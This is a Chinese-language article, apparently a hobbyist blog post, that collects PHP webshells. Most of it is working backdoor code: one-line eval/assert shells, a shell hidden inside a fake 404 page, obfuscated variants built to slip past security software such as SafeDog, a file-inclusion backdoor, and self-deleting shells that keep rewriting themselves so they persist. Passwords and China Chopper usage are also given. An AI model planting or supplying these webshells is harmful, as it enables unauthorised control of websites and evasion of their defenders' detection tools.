0.开场白话
木马是什么意思就不用我介绍了,网站通常在渗透中找到可以操作文件的机会使用时候,和代码执行文件上传漏洞息息相关,在网站中获得种种上了木马,我们就说拿到了webshell,获得一个较低的权限,网站木马通常是入侵者入侵者拿到网站权限的标志,也是内网渗透.权限提升的开始,一般有两种网站木马,俗称小马和大马,小马又称一句话木马,以只有一句代码,功能简单而得名,大马往往有文件操作,数据操作,执行命令等复杂的功能,在渗透的过程中配合大小木马交叉使用,非常强大,这里和大家简单聊聊我见过的木马。
话说php是最好的语言,主要以php为例。
1.最简单的木马,也是最原始的木马。
<?php eval($_POST[sb])?>
可以容错的
<?php @eval($_POST[sb])?>
使用lanker一句话客户端的专家模式执行相关的php语句
<?php assert($_POST[sb]);?>
变种
<?$_POST['sa']($_POST['sb']);?>
在变种
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
直接正则表达式的木马
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//绕过<?限制的一句话
<script language="php">@eval($_POST[sb])</script>
利用反引号构造一句话木马
<?php echo `$_GET['r']` ?>
执行系统命令的木马
<?php system($_REQUEST1);?>
藏在404页面里
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @eval($_POST[password]); header('HTTP/1.1 404 Not Found'); ?>
2.有些网上的师傅研究一句话比较厉害,这里收录
无特征隐藏PHP一句话:
<?php session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
一句话变形
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/1.php?2=assert密码是1
在变形
<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass'])
密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三次变形
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
一些过安全狗的木马
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access");
包含木马
$filename=$_GET['xbid']; include ($filename);
还有p牛的
<?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]);
密码是2
ASSERT($_POST[_]),无需获取小写a):
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
密码是下划线
3.参加过一些ctf比赛 被很多师傅教着打着做人,下面是一些猥琐的木马
循环生成
<?php set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //file_put_contents(__FILE__,'');
while(1){
file_put_contents('path/webshell.php','<?php @eval($_POST["password"]);?>'); }
?>
不死包含马
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>
4.后记
webshell也是一门艺术,包含了各种语言,字符的花式利用,攻防总是相互促进的,有攻击就有防御,有防御就有更高明的攻击手段,这里只是做一个简单的收录,作为技术爱好者,原理最重要,喜欢的人自己钻研,后期慢慢的讲。